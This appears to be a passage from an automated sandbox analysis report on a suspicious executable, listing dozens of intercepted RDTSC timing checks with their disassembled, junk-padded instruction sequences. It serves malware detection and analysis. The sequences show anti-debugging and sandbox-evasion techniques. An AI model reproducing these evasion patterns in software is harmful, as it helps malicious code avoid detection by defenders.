Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881B36 second address: 881B3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881833 second address: 881839 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88562C second address: 88563A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF40CBDB928h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889BD6 second address: 889BF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B062h 0x00000007 jmp 00007FF40C70B05Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889BF9 second address: 889C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 jbe 00007FF40CBDB953h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF40CBDB92Fh 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8897D2 second address: 8897DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jc 00007FF40C70B056h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EA01 second address: 88EA05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88EA05 second address: 88EA19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF40C70B05Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8972A6 second address: 8972AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8972AA second address: 8972AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8972AE second address: 8972B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899155 second address: 89916E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007FF40C70B056h 0x00000009 pop edx 0x0000000a jns 00007FF40C70B058h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89916E second address: 899180 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF40CBDB926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FF40CBDB926h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899180 second address: 89918F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jo 00007FF40C70B056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89918F second address: 899195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899195 second address: 8991AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF40C70B05Ch 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2474 second address: 8A2494 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF40CBDB936h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2494 second address: 8A249A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0B1E second address: 8A0B2A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF40CBDB92Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0B2A second address: 8A0B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF40C70B068h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0B4D second address: 8A0B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0B53 second address: 8A0B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0B57 second address: 8A0B5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0B5B second address: 8A0B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0B6B second address: 8A0B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0F95 second address: 8A0F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0F9E second address: 8A0FCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB933h 0x00000007 jmp 00007FF40CBDB939h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0FCE second address: 8A1001 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF40C70B061h 0x00000008 ja 00007FF40C70B056h 0x0000000e jmp 00007FF40C70B067h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1001 second address: 8A1026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF40CBDB938h 0x0000000c je 00007FF40CBDB926h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1026 second address: 8A102A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A130C second address: 8A1310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1310 second address: 8A1330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1330 second address: 8A1335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1335 second address: 8A1345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF40C70B05Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1345 second address: 8A1349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A14C3 second address: 8A14C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A14C7 second address: 8A14E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF40CBDB932h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A20D1 second address: 8A2106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF40C70B060h 0x0000000c push edx 0x0000000d jnc 00007FF40C70B056h 0x00000013 jmp 00007FF40C70B066h 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2106 second address: 8A211E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF40CBDB932h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5E2E second address: 8A5E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FF40C70B05Ah 0x0000000f jo 00007FF40C70B056h 0x00000015 jc 00007FF40C70B056h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5970 second address: 8A598B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF40CBDB937h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A598B second address: 8A599C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A599C second address: 8A59B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF40CBDB934h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A59B9 second address: 8A59F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF40C70B062h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007FF40C70B064h 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A59F5 second address: 8A59FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5B49 second address: 8A5B61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Fh 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A73AF second address: 8A73B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF40CBDB926h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B003C second address: 8B0042 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0042 second address: 8B0048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B72A2 second address: 8B72A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B72A8 second address: 8B72C0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF40CBDB926h 0x00000008 jo 00007FF40CBDB926h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 je 00007FF40CBDB93Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B70FE second address: 8B711B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 jp 00007FF40C70B058h 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF40C70B05Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C52DB second address: 8C52DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C52DF second address: 8C52E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C52E5 second address: 8C52EA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C52EA second address: 8C52F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4EB7 second address: 8C4EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4EBC second address: 8C4EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4EC2 second address: 8C4EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C4EC6 second address: 8C4ED6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF40C70B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAF79 second address: 8DAF83 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF40CBDB92Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9F29 second address: 8D9F2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9F2D second address: 8D9F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8D9F36 second address: 8D9F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA0D2 second address: 8DA0DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA0DB second address: 8DA0F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B062h 0x00000007 jc 00007FF40C70B05Eh 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA392 second address: 8DA396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA396 second address: 8DA39C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA92D second address: 8DA931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA931 second address: 8DA935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA935 second address: 8DA94C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF40CBDB931h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DA94C second address: 8DA95C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAADC second address: 8DAAE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAC35 second address: 8DAC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DAC3A second address: 8DAC40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DC65D second address: 8DC663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DC663 second address: 8DC688 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF40CBDB932h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FF40CBDB926h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DC688 second address: 8DC6A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B064h 0x00000007 jc 00007FF40C70B056h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DC6A6 second address: 8DC6AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0885 second address: 8E0889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E0889 second address: 8E088F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E088F second address: 8E08A6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF40C70B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jo 00007FF40C70B076h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1E7A second address: 8E1E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E1E80 second address: 8E1E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FF40C70B05Eh 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E3868 second address: 8E387C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF40CBDB926h 0x0000000a jbe 00007FF40CBDB926h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E387C second address: 8E3887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF40C70B056h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F702FE second address: 4F70302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70302 second address: 4F70313 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B05Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70313 second address: 4F7034A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40CBDB931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF40CBDB92Eh 0x0000000f push eax 0x00000010 jmp 00007FF40CBDB92Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7034A second address: 4F70365 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70365 second address: 4F7037D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF40CBDB934h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7037D second address: 4F7039D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF40C70B063h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F49C0 second address: 7F49E6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF40CBDB932h 0x00000008 jmp 00007FF40CBDB92Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF40CBDB92Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7043B second address: 4F70458 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B061h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70458 second address: 4F7045E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F7045E second address: 4F70464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F70464 second address: 4F70468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F704FE second address: 4F705B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF40C70B069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d call 00007FF40C70B05Ch 0x00000012 pushfd 0x00000013 jmp 00007FF40C70B062h 0x00000018 jmp 00007FF40C70B065h 0x0000001d popfd 0x0000001e pop eax 0x0000001f mov ecx, edi 0x00000021 popad 0x00000022 mov esi, edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FF40C70B064h 0x0000002d add esi, 5CB4C8F8h 0x00000033 jmp 00007FF40C70B05Bh 0x00000038 popfd 0x00000039 pushfd 0x0000003a jmp 00007FF40C70B068h 0x0000003f and ecx, 7F882358h 0x00000045 jmp 00007FF40C70B05Bh 0x0000004a popfd 0x0000004b popad 0x0000004c rdtsc
